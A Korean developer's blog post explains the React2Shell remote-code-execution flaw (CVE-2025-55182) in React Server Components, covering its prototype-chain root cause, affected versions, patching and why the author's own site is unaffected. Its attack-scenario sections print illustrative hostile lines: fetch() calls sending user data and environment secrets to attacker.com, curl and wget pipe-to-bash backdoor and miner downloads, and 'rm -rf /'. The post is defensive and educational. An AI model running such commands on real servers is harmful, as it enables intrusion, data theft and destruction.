logo

DowanKim

12. React2Shell 보안 이슈, 왜 터졌을까?

2025년 12월 8일

포트폴리오 사이트

React Server Components 보안 취약점 분석: React2Shell (CVE-2025-55182)

이전 글에서 React Server Components가 무엇인지 알아봤습니다. 이번 글에서는 실제로 발생한 보안 취약점과 제 프로젝트에 미치는 영향을 분석해보겠습니다.


보안 경고를 받았습니다

토요일 오후, 갑자기 이런 메일을 받았습니다:

image.png

"React Server Components에서 심각한 보안 취약점이 발견되었습니다. 즉시 업데이트하세요."

제 프로젝트는 React Server Components를 사용하고 있습니다. 정확히 어떤 문제가 있는지, 그리고 제 프로젝트가 실제로 영향을 받는지 확인해야 합니다,


React2Shell이란?

React2Shell은 React Server Components에서 발견된 심각한 보안 취약점입니다. 공식적으로는 CVE-2025-55182로 지정되었으며, CVSS 점수는 10.0 (최고 위험도) 입니다.

취약점의 정식 명칭

  • CVE 번호: CVE-2025-55182
  • 별칭: React2Shell
  • 심각도: Critical (10.0/10.0)
  • 유형: 인증되지 않은 원격 코드 실행 (Unauthenticated Remote Code Execution)

무엇이 문제인가?

Server Actions의 작동 방식

Server Actions는 클라이언트가 서버에서 함수를 호출할 수 있게 해주는 기능입니다. 일반적인 흐름은 다음과 같습니다:

1. 클라이언트: "서버님, getPosts() 함수 실행해주세요"
2. 서버: 함수 실행 → 결과 반환
3. 클라이언트: 결과를 받아서 화면에 표시

취약점이 발생하는 지점

코드의 문제점을 파헤치기 전에, 해커가 어떻게 서버 내부 깊숙한 곳까지 침투할 수 있었는지 "경로" 를 먼저 이해해야 합니다. React Server Components(RSC)의 직렬화 프로토콜에 문제가 있습니다.

"Prefix"와 프로토콜의 허점

서버와 클라이언트가 통신할 때 단순히 JSON 데이터만 주고받는 것이 아닙니다. 리액트는 서버에서 실행될 함수나 객체를 전달하기 위해 내부적으로 약속된 특수 직렬화 프로토콜을 사용합니다.

이때 리액트는 데이터의 타입을 식별하기 위해 데이터 앞에 __prefix:와 같은 특수 마커나 메타데이터 구조를 붙입니다.

정상적인 경우: 클라이언트가 "이건 서버 액션이야"라는 표식(Prefix/Metadata)을 붙여 보내면, 서버는 이를 역직렬화(Deserialization)하여 해당 함수를 실행할 준비를 합니다.

해커는 이 직렬화 규칙을 역이용할 수 있습니다. 악의적인 명령어(Payload)를 정상적인 서버 액션 요청인 것처럼 위장하여 포장지(Prefix)를 씌워 보낼 수 있습니다.

리액트 서버는 이 포장지만 믿고 "아, 정상적인 함수 실행 요청이구나"라고 판단하여, 내부의 데이터를 검증 없이 역직렬화해버립니다. 이 과정이 통과되었기 때문에, 아래에서 설명할 취약한 코드(아래예시 requireModule)까지 도달하게 된 것입니다.

코드 레벨 분석: 취약점의 근본 원인

직렬화라는 1차 관문을 통과한 악성 데이터는 실제 모듈을 불러오는 함수에 도착합니다. 여기서 치명적인 검증 누락이 발생합니다.

구체적으로, React의 ReactFlightDOMServerNode.js 내 requireModule 함수가 클라이언트가 요청한 모듈의 export 이름을 신뢰하여 그대로 접근하는 로직이 문제가 되었습니다.

취약한 코드 구조 예시

// (취약한 동작 예시) 클라이언트가 보낸 metadata.name으로 모듈 export에 접근 function requireModule(moduleExports, name) { return moduleExports[name]; // ⚠️ name에 대한 검증 없이 프로퍼티에 접근 }

문제점: 프로토타입 체인 오염

위 코드처럼 내부 구현에 hasOwnProperty 같은 검증이 없어 클라이언트가 요청한 name이 해당 모듈에 개발자가 의도적으로 내보낸(export) 프로퍼티가 아니더라도 프로토타입 체인에 존재하는 모든 속성을 가져올 수 있게 됩니다.

예시:

// 예를 들어, moduleExports가 함수일 때: module.exports = function updateProfile() { /* ... */ }; // 정상적인 사용 requireModule(module.exports, "updateProfile"); // ✅ 의도된 export // 공격자가 악용 requireModule(module.exports, "constructor"); // ⚠️ 프로토타입 체인을 통한 접근!

왜 "constructor"가 위험한가?

자바스크립트에서 함수는 객체입니다. 따라서 모든 함수는 constructor라는 속성을 가지며, 이는 보통 전역 Function 생성자를 가리킵니다.

function myFunction() {} console.log(myFunction.constructor); // [Function: Function] console.log(myFunction.constructor === Function); // true

공격자가 name 값으로 "constructor"를 지정하면:

  1. 해당 모듈이 export한 함수의 constructor 속성에 접근
  2. 전역 Function 생성자에 대한 참조를 얻음
  3. 아무 함수나 문자열로 선언해서 사용 가능

공격 시나리오: 단계별 분석

1단계: 악의적인 요청 생성

공격자는 클라이언트에서 다음과 같은 악의적인 요청을 생성합니다:

// 공격자가 보내는 요청 { actionId: "malicious-action-id", metadata: { name: "constructor" // ⚠️ 의도적으로 constructor를 요청 } }

2단계: React 서버의 취약한 처리

React 서버는 이 요청을 받아서:

// React 내부 코드 (취약한 버전) function requireModule(moduleExports, name) { // name = "constructor" return moduleExports[name]; // module.exports.constructor 반환 // ⚠️ 검증 없이 프로토타입 체인을 통해 접근 }

3단계: Function 생성자 획득

// module.exports가 함수인 경우 module.exports = function updateProfile() { /* ... */ }; // requireModule(module.exports, "constructor")의 결과 const FunctionConstructor = module.exports.constructor; // FunctionConstructor === Function (전역 Function 생성자)

4단계: 악성 함수 생성 및 실행

공격자는 이제 전역 Function 생성자를 사용하여 임의의 코드를 실행할 수 있습니다:

// 공격자가 만든 악성 코드 const maliciousCode = ` // 데이터베이스에서 모든 사용자 정보 탈취 const users = db.query('SELECT * FROM users'); sendToAttacker(users); // 파일 시스템 접근 const secrets = fs.readFileSync('/etc/secrets'); sendToAttacker(secrets); // 시스템 명령 실행 require('child_process').exec('rm -rf /'); `; // Function 생성자로 악성 함수 생성 const evilFunction = FunctionConstructor(maliciousCode); // React 서버가 이것을 정상적인 서버 액션으로 오인하여 실행 evilFunction(); // 원격 코드 실행 ㄷㄷ

5단계: React의 오인

React 서버는 클라이언트가 보낸 액션 ID를 기준으로 어떤 서버 측 함수를 호출할지 결정하는데, 공격자는 해당 ID를 조작하여 자신이 만든 Function 객체(즉 전역 Function 생성자에 악성 코드를 바인딩한 함수)를 가리키도록 할 수 있습니다.

이렇게 되면 React는 이것을 정상적인 서버 액션 호출로 생각하고 그대로 실행해 버립니다.

물론 위의 코드예시는 단지 예시일 뿐입니다. 단순히 constructor 하나만으로 끝나기 보다는, 가짜청크, 객체 확장, 속성대체 등의 단계가 복합되어있을 가능성이 있습니다.

왜 이렇게 위험한가? (상세 분석)

1. 프로토타입 체인 오염 (Prototype Pollution)

자바스크립트의 프로토타입 체인은 강력하지만, 검증 없이 사용하면 위험합니다:

// 정상적인 객체 const obj = { name: "test" }; // 프로토타입 체인을 통한 접근 console.log(obj.toString); // Object.prototype.toString console.log(obj.constructor); // Object.prototype.constructor console.log(obj.hasOwnProperty); // Object.prototype.hasOwnProperty // 취약한 코드는 이것들을 모두 접근 가능하게 만듦 function unsafeAccess(obj, prop) { return obj[prop]; // 프로토타입 체인까지 검색 } function safeAccess(obj, prop) { if (obj.hasOwnProperty(prop)) { return obj[prop]; // 자신의 프로퍼티만 접근 } throw new Error("Unauthorized property access"); }

2. Function 생성자의 위험성

Function 생성자는 문자열로부터 함수를 동적으로 생성할 수 있습니다:

// 정상적인 사용 const add = new Function('a', 'b', 'return a + b'); console.log(add(1, 2)); // 3 // 악의적인 사용 const evil = new Function(` const fs = require('fs'); const data = fs.readFileSync('/etc/passwd'); console.log(data); `); evil(); // 시스템 파일 읽기!

3. 서버 측 실행의 심각성

이 취약점이 특히 위험한 이유:

일반적인 클라이언트 사이드 공격:

  • 브라우저에서만 실행
  • 사용자 자신에게만 영향
  • 브라우저 보안 정책으로 제한

이 취약점 (서버 사이드 RCE):

  • 서버에서 실행
  • 모든 사용자에게 영향
  • 데이터베이스, 파일 시스템, 네트워크 등 모든 리소스 접근 가능

4. 실제 공격 시나리오 예시

// 공격자가 실행할 수 있는 코드 예시 // 1. 데이터베이스 탈취 const db = require('./database'); const allUsers = db.query('SELECT * FROM users'); fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(allUsers) }); // 2. 환경 변수 유출 const secrets = { apiKey: process.env.API_KEY, dbPassword: process.env.DB_PASSWORD, jwtSecret: process.env.JWT_SECRET }; fetch('https://attacker.com/secrets', { method: 'POST', body: JSON.stringify(secrets) }); // 3. 파일 시스템 접근 const fs = require('fs'); const privateKey = fs.readFileSync('/path/to/private/key'); // ... 유출 // 4. 백도어 설치 const child_process = require('child_process'); child_process.exec('curl attacker.com/backdoor.sh | bash'); // 5. 암호화폐 마이닝 child_process.exec('wget -q -O - https://attacker.com/miner.sh | bash');

5. 인증 우회의 위험성

이 취약점은 인증 없이 공격할 수 있습니다:

// 정상적인 서버 액션 (인증 필요) 'use server' export async function deleteUser(userId) { // 인증 확인 if (!isAuthenticated()) { throw new Error('Unauthorized'); } // 권한 확인 if (!isAdmin()) { throw new Error('Forbidden'); } // 삭제 실행 await db.deleteUser(userId); } // 공격자는 이 검증을 우회하고 직접 코드 실행 // 인증/인가 로직을 완전히 우회

취약점의 근본 원인 요약

React RSC의 역직렬화 로직에서 신뢰할 수 없는 name 속성에 대한 필터링이 없어, 모듈 export의 프로토타입 체인 상 속성(constructor)까지 노출된 것입니다.

이로 인해:

  1. 전역 Function 생성자를 호출할 수 있는 참조를 얻음
  2. RSC의 바운드 함수 호출 구조와 결합
  3. 최종적으로 원격 코드 실행으로 이어짐

이러한 결함은 상속된 속성 접근에 대한 검증 부재가 근본 원인인 것 같습니다.

또한, 사실상 shell이 열린다는 것은 다 끝난 것이라고 봐도 될 것 같긴 합니다. 위와 같은 상황이 아니더라도, shell열고 채굴을 한다고 생각해보면, aws비용이 아주 그냥.. 어우;;

안전한 코드를 생각해보면

// 안전한 버전 function requireModule(moduleExports, name) { // 1. 허용된 export만 접근 const allowedExports = ['default', 'named', '...']; // 화이트리스트 if (!allowedExports.includes(name)) { throw new Error('Unauthorized export access'); } // 2. hasOwnProperty로 프로토타입 체인 접근 방지 if (!moduleExports.hasOwnProperty(name)) { throw new Error('Export not found'); } // 3. 함수 타입 검증 const exportValue = moduleExports[name]; if (typeof exportValue === 'function' && exportValue.constructor !== Function) { // 커스텀 함수만 허용 return exportValue; } throw new Error('Invalid export type'); }

화이트리스트+직속속성검사+타입검사 까지 다 하는게 좋지 않을까 싶습니다.

참고 자료


영향받는 버전

React 패키지

다음 버전의 React Server Components 패키지가 취약합니다:

  • react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

안전한 버전:

  • 19.0.1
  • 19.1.2
  • 19.2.1 이상

Next.js

Next.js도 영향을 받습니다:

취약한 버전:

  • Next.js 15.0.0 ~ 15.0.4
  • Next.js 15.1.0 ~ 15.1.8
  • Next.js 15.2.0 ~ 15.2.5
  • Next.js 15.3.0 ~ 15.3.5
  • Next.js 15.4.0 ~ 15.4.7
  • Next.js 15.5.0 ~ 15.5.6
  • Next.js 16.0.0 ~ 16.0.6

안전한 버전:

  • Next.js 15.0.5
  • Next.js 15.1.9
  • Next.js 15.2.6
  • Next.js 15.3.6
  • Next.js 15.4.8
  • Next.js 15.5.7
  • Next.js 16.0.7 이상

다른 프레임워크

다음 프레임워크들도 영향을 받을 수 있습니다:

  • React Router (unstable RSC APIs 사용 시)
  • Waku
  • @parcel/rsc
  • @vitejs/plugin-rsc
  • Redwood SDK (rwsdk)

내 프로젝트는 안전한가?

현재 프로젝트 상태 확인

제 프로젝트의 package.json을 확인해보겠습니다:

{ "dependencies": { "next": "^14.2.0", "react": "^18.3.0", "react-dom": "^18.3.0" } }

분석 결과: 안전합니다

이유:

  1. React 18.3.0 사용 중

    • 취약점은 React 19.x 버전에서만 발견되었습니다
    • React 18.x 버전에는 이 취약점이 존재하지 않습니다
  2. Next.js 14.2.0 사용 중

    • 취약점은 Next.js 15.0.0 이상 버전에만 존재합니다
    • Next.js 14.x는 React 18 기반이므로 안전합니다
  3. React Server Functions 미사용

    • 제 프로젝트는 React Server Components를 사용합니다 (서버에서 렌더링)
    • React Server Functions는 사용하지 않습니다 (클라이언트에서 서버 함수 호출)

React Server Components vs Server Functions

중요한 구분입니다:

React Server Components (제 프로젝트에서 사용 중):

// app/blog/page.tsx export default async function BlogPage() { // 서버에서 데이터 가져오기 const tags = await getAllTags() const projects = await getAllProjects() // 서버에서 렌더링 return ( <div> {tags.map(tag => <div key={tag}>{tag}</div>)} </div> ) }
  • 서버에서 컴포넌트를 렌더링
  • 안전함 (이 취약점과 무관)

React Server Functions (제 프로젝트에서 미사용):

// 'use server' 지시어 사용 'use server' export async function createPost(data) { // 클라이언트에서 이 함수를 호출할 수 있음 await saveToDatabase(data) }
  • 클라이언트에서 서버 함수를 호출
  • 취약점이 발생할 수 있는 지점

제 프로젝트에서는 'use server' 지시어를 사용하지 않으므로, Server Functions를 사용하지 않습니다.

Server Actions는 Firebase, Supabase, Prisma 등 어떤 백엔드와도 함께 사용할 수 있습니다. 이에, 단순히 제가 넥스트로 백엔드 기능을 사용하지 않는다고 해서 서버 액션도 사용하지 않는다고 단정지을 수는 없습니다.

Server Actions를 사용하는 경우:

// app/actions.ts 'use server' import { db } from './firebase' // Firebase와 함께 사용 가능! export async function createPost(data: PostData) { // 서버에서 Firebase에 직접 접근 await addDoc(collection(db, 'posts'), data) }

하지만 제 프로젝트는 다른 방식을 사용합니다:

제 프로젝트는 클라이언트 컴포넌트에서 Firebase SDK를 직접 호출하는 방식을 사용합니다:

// app/admin/blog/write/page.tsx 'use client' // 클라이언트 컴포넌트 export default function WritePostPage() { const handleSubmit = async (e: FormEvent) => { // 클라이언트에서 Firebase SDK 직접 호출 await createPost({ title, content, // ... }) } } // lib/blog.ts import { addDoc, collection } from 'firebase/firestore' import { db } from './firebase' export const createPost = async (postData: BlogPost) => { // Firebase SDK를 클라이언트에서 직접 사용 const docRef = await addDoc(collection(db, 'posts'), { ...postData, createdAt: Timestamp.now(), }) return docRef.id }

차이점:

방식제 프로젝트Server Actions
실행 위치클라이언트 (브라우저)서버 (Next.js 서버)
Firebase 접근클라이언트 SDK 사용서버에서 Firebase Admin SDK 사용 가능
보안Firebase 보안 규칙으로 보호서버에서 실행되므로 추가 보안 가능
취약점 영향영향 없음취약한 버전 사용 시 영향받음
  • Server Actions는 Next.js 백엔드만을 위한 것이 아닙니다
  • Firebase와도 함께 사용할 수 있습니다
  • 하지만 제 프로젝트는 Server Actions를 사용하지 않고, 클라이언트에서 Firebase SDK를 직접 호출하는 방식을 사용합니다
  • 따라서 이 취약점의 영향을 받지 않습니다

만약 영향받는 버전을 사용한다면?

즉시 조치사항

1. Next.js 업그레이드

자동 업데이트 도구 사용 (권장):

Vercel에서 제공하는 자동 업데이트 도구를 사용할 수 있습니다:

npx fix-react2shell-next

이 명령어는 자동으로 안전한 버전으로 업데이트해줍니다.

수동 업데이트:

자신의 Next.js 버전에 맞게 업데이트하세요:

# Next.js 15.0.x 사용 중 npm install next@15.0.5 # Next.js 15.1.x 사용 중 npm install next@15.1.9 # Next.js 15.2.x 사용 중 npm install next@15.2.6 # Next.js 15.3.x 사용 중 npm install next@15.3.6 # Next.js 15.4.x 사용 중 npm install next@15.4.8 # Next.js 15.5.x 사용 중 npm install next@15.5.7 # Next.js 16.0.x 사용 중 npm install next@16.0.7

2. React 패키지 업데이트

React Server Components 관련 패키지도 업데이트해야 합니다:

npm install react@latest react-dom@latest npm install react-server-dom-webpack@latest # 또는 사용 중인 패키지에 맞게 npm install react-server-dom-parcel@latest npm install react-server-dom-turbopack@latest

3. 환경 변수 교체 (중요)

만약 다음 조건을 모두 만족한다면, 모든 비밀 정보를 교체해야 합니다:

  1. 애플리케이션이 2025년 12월 4일 오후 1시(태평양 표준시) 이후로 온라인 상태였고
  2. 취약한 버전을 사용 중이었으며
  3. 아직 패치하지 않았다면

교체해야 할 것들:

  • API 키
  • 데이터베이스 비밀번호
  • JWT 시크릿 키
  • OAuth 클라이언트 시크릿
  • 기타 모든 환경 변수에 저장된 비밀 정보

이유: 공격자가 이미 서버에 접근했을 가능성이 있기 때문입니다. 비밀 정보가 유출되었을 수 있습니다.


취약점 타임라인

  • 2025년 11월 29일: Lachlan Davidson이 Meta Bug Bounty를 통해 보안 취약점 보고
  • 2025년 11월 30일: Meta 보안 연구진이 확인하고 React 팀과 함께 수정 작업 시작
  • 2025년 12월 1일: 수정 사항 생성 및 호스팅 제공업체와 오픈소스 프로젝트와 협력하여 수정 사항 검증 및 완화 조치 구현
  • 2025년 12월 3일: npm에 수정 사항 게시 및 CVE-2025-55182로 공개 공개

보안 모범 사례

1. 정기적인 의존성 업데이트

# 보안 취약점 확인 npm audit # 자동으로 수정 가능한 취약점 수정 npm audit fix # 강제 수정 (주의해서 사용) npm audit fix --force

2. 자동 보안 업데이트 설정

GitHub Dependabot이나 유사한 도구를 사용하여 자동으로 보안 업데이트를 받도록 설정하세요.

3. 최소 권한 원칙

Server Functions를 사용할 때는:

  • 철저한 인증/인가 검증
  • 입력 데이터 검증
  • 권한 확인

4. 모니터링

  • 의심스러운 요청 패턴 감시
  • 로그 분석
  • 비정상적인 서버 활동 모니터링

내가 궁금했던 질문들

Q1: React Server Components를 사용하면 무조건 위험한가요?

A: 아닙니다. React Server Components 자체는 안전합니다. 문제는 React Server Functions에서 발생합니다. 제 프로젝트처럼 Server Components만 사용하고 Server Functions를 사용하지 않으면 안전합니다.

Q2: Next.js 14를 사용 중인데 업데이트해야 하나요?

A: Next.js 14는 이 취약점의 영향을 받지 않습니다. 하지만 보안을 위해 정기적으로 업데이트하는 것을 권장합니다.

Q3: React 19로 업그레이드해야 하나요?

A: 현재는 필요하지 않습니다. React 18도 충분히 안정적이고 기능이 풍부합니다. React 19로 업그레이드할 계획이 있다면, 반드시 패치된 버전(19.0.1, 19.1.2, 19.2.1 이상)을 사용하세요.

Q4: Server Functions를 사용하지 않으면 안전한가요?

A: 네, 맞습니다. 이 취약점은 Server Functions의 역직렬화 과정에서 발생하므로, Server Functions를 사용하지 않으면 영향받지 않습니다.

Q5: 어떻게 확인할 수 있나요?

A: 프로젝트에서 'use server' 지시어를 검색해보세요:

# 프로젝트에서 'use server' 검색 grep -r "use server" .

만약 결과가 없다면, Server Functions를 사용하지 않는 것입니다.


결론

제 프로젝트 상황 요약

현재 상태: 안전함

  • React 18.3.0 사용 (취약점 없음)
  • Next.js 14.2.0 사용 (취약점 없음)
  • React Server Components만 사용 (안전)
  • React Server Functions 미사용 (취약점과 무관)

앞으로 해야 할 일

  1. 현재는 조치 불필요: React 18과 Next.js 14를 사용 중이므로 안전합니다

  2. React 19 업그레이드 시 주의:

    • 반드시 패치된 버전 사용
    • Server Functions 사용 시 추가 검토
  3. 정기적인 보안 점검:

    • npm audit 정기 실행
    • 의존성 업데이트 확인

마무리

보안 경고를 받았을 때 당황하지 말고, 먼저 자신의 프로젝트가 실제로 영향을 받는지 확인하는 것이 중요한 것 같습니다. 제 경우처럼, React 18과 Next.js 14를 사용 중이라면 이번 취약점의 영향을 받지 않습니다.

하지만 보안은 항상 주의를 기울여야 할 영역입니다.

요즘은 또 보안 이슈가 회사가 무너지는 대표적인 요소이지 않습니까. 보안 이슈에 대해 대처를 잘못했다가 국정 감사? 에 끌려가는 대기업분들도 많이 보이는 것 같고..(보안 담당분들 항상 화이팅입니다..)

본인이 개발자라면, 어떤 분야의 개발자든 상관없이 자기 바운더리에서 최대한의 보안을 챙기고, 항상 신경써야 할 것 같습니다.

AI시대에 많은 선임 개발자 분들, 멘토님들이 항상 똑같이 말씀하시는게, 이런 시대일수록 기본에 충실한, 이론을 잘 아는 (예를들어 우리는 자바스크립트, 브라우저, 등) 주니어를 뽑는다 라고 하십니다. 아마 지금 현 사태와 같은 이슈들이 기본에 충실해야 하는 이유 중 하나인 것 같습니다. 저만 해도 사실 문제가 터졌는데 리액트 서버 컴포넌트에 대한 이론이 확실치 않아 이 전 게시글에서 공부부터 다시 하지 않았습니까.. 다행이 저 혼자 쓰는 사이트지만 이건..

어쩄든 항상 보안에 신경쓰고, 지금 시대에는 더욱이 기초에 충실한 개발자가 되어야 함을 다시금 깨달았습니다.


참고 자료: